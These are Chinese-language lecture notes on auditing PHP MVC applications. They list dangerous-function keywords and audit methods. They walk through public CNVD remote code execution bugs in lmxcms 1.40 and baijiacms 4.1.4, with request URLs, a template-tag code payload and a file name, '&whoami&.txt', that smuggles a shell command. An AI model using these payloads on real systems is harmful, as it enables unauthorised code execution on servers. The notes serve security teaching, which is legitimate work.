知识点:
1、PHP审计-MVC开发-RCE&代码执行
2、PHP审计-MVC开发-RCE&命令执行
3、PHP审计-MVC开发-RCE&文件对比
简要点
1、代码审计必备知识点:
环境搭建使用,工具插件安装使用,掌握各种漏洞原理及利用,代码开发类知识点。
2、代码审计开始前准备:
审计目标的程序名,版本,当前环境(系统,中间件,脚本语言等信息),各种插件等。
3、代码审计挖掘漏洞根本:
可控变量及特定函数,不存在过滤或过滤不严谨存在绕过导致的安全漏洞。
PHP常见漏洞关键字
SQL注入:
select insert update delete mysql_query mysqli等
文件上传:
$_FILES,type="file",上传,move_uploaded_file()等
XSS跨站:
print print_r echo sprintf die var_dump var_export等
文件包含:
include include_once require require_once等
代码执行:
eval assert preg_replace call_user_func call_user_func_array等
命令执行:
system exec shell_exec `` passthru pcntl_exec popen proc_open
变量覆盖:
extract() parse_str() importrequestvariables() $$ 等
反序列化:
serialize() unserialize() __construct __destruct等
其他漏洞:
unlink() file_get_contents() show_source() file() fopen()等
通用关键字
$_GET,$_POST,$_REQUEST,$_FILES,$_SERVER等
MVC不局限于语言,其他语言也都有。
MVC流程
1、Controller截获用户发出的请求;
2、Controller调用Model完成状态的读写操作;
3、Controller把数据传递给View;
4、View渲染最终结果并呈献给用户。
MVC各层职能
1、控制器Controller层–负责响应用户请求、准备数据,及决定如何展示数据。
2、模块Model层–管理业务逻辑和数据库逻辑。提供连接和操作数据库的抽象层(过滤一般都在这里)
3、视图View层–负责前端模版渲染数据,通过HTML方式呈现给用户(一般都是html静态文件,也有少部分php)
MVC对审计主要影响
1、文件代码定位问题
2、代码过滤分析问题(Model层会过滤)
3、前端安全发现问题
MVC开发审计入口常见方法
搜索法:常规或部分MVC模型源码可以采用关键字的搜索挖掘思路
功能法:框架MVC模型源码一般会采用功能点分析抓包追踪挖掘思路
对比法:可以通过前后修复版本文件及代码不同特征进行针对挖掘思路
特征法:数据库监控挖SQL注入,文件监控挖上传删除写入等。
工具法:后续讲到
调试法:动态调试
一、演示案例-PHP审计-MVC开发-控制模块视图
如何通过URL地址分析出是哪个文件?
二、演示案例-PHP审计-MVC开发-RCE代码执行
一般都是用搜索法或者对比法,其他两个方法很少见。
CNVD-代码执行1day-lmxcms1.40版本
1、搜索法-RCE
https://www.cnvd.org.cn/flaw/show/CNVD-2019-05679
payload:
/admin.php?m=Acquisi&a=showCjData&id=1&lid=1&cid=1
为什么数据库payload要这么写?
2、功能法-RCE
https://www.cnvd.org.cn/flaw/show/CNVD-2019-05678
<{php}> phpinfo();<{/php}>
3、对比法拿0day-1.41版本
Beyond Compare 4工具对比
UltraCompare工具对比(推荐)
三、演示案例-PHP审计-MVC开发-RCE命令执行
CNVD-命令执行1day-baijiacms4.1.4版本
https://www.cnvd.org.cn/flaw/show/CNVD-2021-12800
搜索法:
system->common.inc.php->file_save->setting.php
如何访问通过URL访问这个源码文件?
条件:
1、$extention=='txt'
2、weixin_verify_file有值
3、$settings['image_compress_openscale']=1
开启image_compress_openscale=1
/index.php?mod=site&act=manager&do=netattach
上传weixin_verify_file
/index.php?mod=site&act=weixin&do=setting
触发weixin_verify_file
weixin_verify_file filename=&whoami&.txt